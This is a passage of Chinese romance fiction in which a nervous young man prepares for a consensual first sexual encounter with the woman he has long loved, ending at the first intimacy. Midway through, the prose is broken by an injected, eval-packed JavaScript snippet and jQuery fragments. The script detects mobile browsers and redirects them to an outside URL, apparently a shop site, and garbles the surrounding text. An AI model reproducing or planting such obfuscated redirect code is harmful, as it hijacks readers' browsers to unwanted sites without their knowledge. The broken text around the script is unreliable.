坐在酒店房间的沙发里，骆飞的手一直在抖。
事情是这样的，半小时前他和徐微在酒吧喝酒，三两口下肚，她上头了：
“……没有社会关系就发生的性，怎么会有创造力呢？应该是在不太陌生的地方，和不太陌生的人身体相遇，是一种创造，一种发明，一种对自我的短暂消解。”
酒吧暗得要死，昏霓的灯晕落在她酡红的脸上：“骆飞，你觉得我们属不属于‘不太陌生’的范畴？”
DJ音乐地动山摇，他揉眼，脑子里就一个想法：
邪了门了，什么长岛冰茶劲这么大？
直到她扑过来，环着他的脖子，杂着冰凉酒香的呼吸落在他的耳廓：
“真的不想和我试试吗？嗯?”
理智告诉他应该拒绝，但身体太诚实了。
她笑了一下。
“我先洗澡。”徐微关上浴室门。
哗啦啦的水声倾泻而下，浴室玻璃是透明磨砂的质地，骆飞抬头看了一眼，她麦白的身体浸在混沌的水汽中，瞬间脸爆红。
他慌里慌张地去抓手机，打字的指尖发颤：
“男生第一次应该注意什么”
一大堆帖子，随便点开一个。
第一条：很快也没关系哦~
骆飞：？？？
……有关系的吧。
按他对徐微的了解，很快她会嘲笑他。
第二条：尝试说一些dirtytalk，可以增加趣味性~
他选中英文，复制，切出页面，打开百度，粘贴，搜索：dirtytalk是什么？
脏话；下.流话。
骆飞：？？？？
他是成年人，明白这个意思，但是今天太突然了，那些动作片主角之间的对话都不适合他和徐微，幸好现代社会科技发达，可以随时请教AI。
骆飞再切了个页面，深吸一口气，做足心理建设，在对话框里输入：
“你好，能教我说几句脏话吗，就那种含蓄一点的，额，适合在床上说的那种，我是第一次。”
深度思考的加载圆圈转啊转，等了半天，终于回复了！
“你好，这个问题我暂时无法回答，让我们换个话题再聊聊吧。”
骆飞：？？？？？
他认命，切回原来的帖子界面。
第三条：事后不要抽烟，要拥抱对方。
这个没问题，他不抽烟。
第四条：不想太露怯的话，可以用牙齿咬开包装纸，显得比较熟练。
此时客房电话响了，外卖机器人送来了徐微网上下单的避孕套，他拆开方方正正的包装壳，仔细阅读了说明书，从里面抽出一只，放到嘴边，正准备练习如何用牙齿咬开塑料包装袋呢，就看到下面的热评：
【服了，用嘴打开包装袋以为自己很帅吗，有安全风险的懂不懂啊[微笑]】
他吓得一激灵，差点把手里的包装袋扔出去。
“咻哧”，浴室门推开了。
徐微裹着浴袍出来，栗色短发的发尾湿漉漉的，面颊不知道是刚才喝酒还是被浴室的热水热的，依旧很红，她看见了他手里淡黄色的包装袋，声音带笑：
“哎呀，送到了呀，好快。”
骆飞的心口像被压了块巨大的石头，很沉重，偏偏跳得飞快，声音有些颤抖，应她：“是啊，送好快。”
徐微：“你去洗澡吧。”
他逃也似的奔去了浴室。
顶喷打开来那刻，骆飞闭上眼，任由温热的水流冲荡全身。
这是他暗恋徐微的第五年，五年来他做过很多追求她的事，但朋友说，“没被发现的追求就是铁暗恋”。
好吧，他就是暗恋。
纯暗恋。
他最近的追求行为和以前没什么区别，所以排除掉他的因素，那就是徐微她自己想了，她想和他来一场“身体相遇”，完成“一次创造、一次发明、一次对自我的短暂消解”。
他理解她的意思，就是一夜情。
她就是那种很潇洒、很洒脱，很言行合一的人，如果换了别人说“我们来一场身体相遇吧”，“我们来短暂地消解自我吧”就会显得很奇怪，但如果是徐微说的，就正常了。
她一直是这样的人。
骆飞甚至有点暗暗的期待，如果自己表现好，她或许会愿意给他一个转正的机会。
一夜情变成两夜情，两夜情变成三夜情——三夜情变成很多很多的情。
他早就做好暗恋她一辈子的准备了，但是……万一呢？
关了顶喷，开了花洒，骆飞挤了一大坨沐浴乳，翻来覆去地洗，想洗干净点，洗得再干净一点。
他对自己的身体很满意，不用吸肚子就有漂亮的肌肉线条，腿、手臂、胸肌的锻炼都没落下，发在朋友圈的健身照徐微总会夸好看。
她应该会喜欢的吧。
热水浴很舒服，沉在氤氲的热息里，刚才的紧张消散了不少，骆飞拿吹风机对着镜子吹头发，想吹个好看点的微分碎盖造型，眼睛扫到脏衣篓里的衣服，忽然意识到一件事——
太突然了，他没有能换的内裤。
做事情之前要洗干净，这是常识，但洗完了再把刚才穿的内裤穿上，不就又脏了！
刚才徐微好像是穿着浴袍出来的，不穿内裤直接穿浴袍也行，但是浴袍呢——
浴袍在进门玄关的衣柜里，他进浴室的时候太急了，完全忘记拿！
怎么办怎么办怎么办！
他四处找手机，想发个求助帖：
马上要发生第一次了，但是没有浴袍，我应该光着直接出去还是穿着旧内裤出去拿浴袍，然后再回来洗一次？
以他的经验，这种帖子很快就会有好心人帮他出主意的。
然后他发现——
他没带手机。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528140|203610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>啊啊啊啊啊啊——
紧张的情绪又上来了，他关了吹风机，对着镜子深呼吸，玻璃门突然从外面敲了两下：
是徐微的声音：“洗好了吗？”
“啊啊！快了！我把头发吹干！”他慌不择路，把吹风机重新打开，开了大档，热风轰轰轰得往脸上吹，他揪着额前的碎发做造型，一边想，好像徐微的声音已经没有在酒吧里那种醉醺醺的感觉了。
她酒醒了。
也是，一杯长岛冰茶，能醉就有鬼了。
大概是刚才喝上头，酒吧的氛围刚刚好，她才会有那种提议，现在她清醒了，有很大的可能收回提议，就算她不收回，他开始前也要再征求一下她的意见。
就算只是一夜情，也得得到她完全的同意。
确保她是完全自愿、投入的。
以她为主。
这么想着，他的心定了，胆子就大了，于是他向外喊：“徐教授——能不能帮我拿一下浴袍，我忘了。”
她刚评上副教授，他就改口了，这年头“老师”太通货膨胀，剧组里都有人管他叫“老师”了，可见含金量不高。但是“教授”不一样，每次叫徐微“教授”，他都会有那种“仰慕”甚至被“征服”的感觉，他喜欢这么叫她。
徐微歪在床上看手机，声音悠荡：“上床不要叫职称。”
骆飞：“……”
他酝酿了一下，喊道：“……微微姐，帮我拿一下浴袍。”
徐微忙着发微信：“我开了空调，外面不冷，你拿浴巾裹一下吧，反正很快就脱了。”
骆飞：“好。”
这下不需要再跟她确定了，她现在很清醒，就是很清醒地要和他来段一夜情。
很徐微的作风。
很喜欢。
其实他也想到了用浴巾裹住下半身就出去的办法，但是他不太会弄，在剧组的时候拍过一次只系浴巾裸露上半身的戏，是化妆师帮他围的，他自己围一下就掉了。
不管了，随便弄一下。
他走出浴室的时候，身上还带着些白茫茫的水汽，徐微放下手机，伸手去牵他，看他耳根还是红的，问：“很紧张？”
“嗯。”
“没事，我教你。”她关了总控，只留了一盏床头灯。
房间暗了下来。
他真的不会系浴巾，坐到床上，那块布就散掉了，幸好场景很昏暗，她也没急不可耐地低头看——虽然这件事只要一开始，他就变了心态，特别想让她看了。
她在吻他，很柔软的触感，房间里很安静，只有她的唇落在他的皮肤上的声音，眉毛、鼻子、面颊、喉结，避开了他紧绷的唇。
果然是一夜情啊，不亲嘴的。
但他还是迷乱了，颤抖了，喘息了。
她轻轻一勾，他抱着她的腰伏了下去，她的浴袍也很松，一下就解开了。
然后他就看见了她右胸上的疤。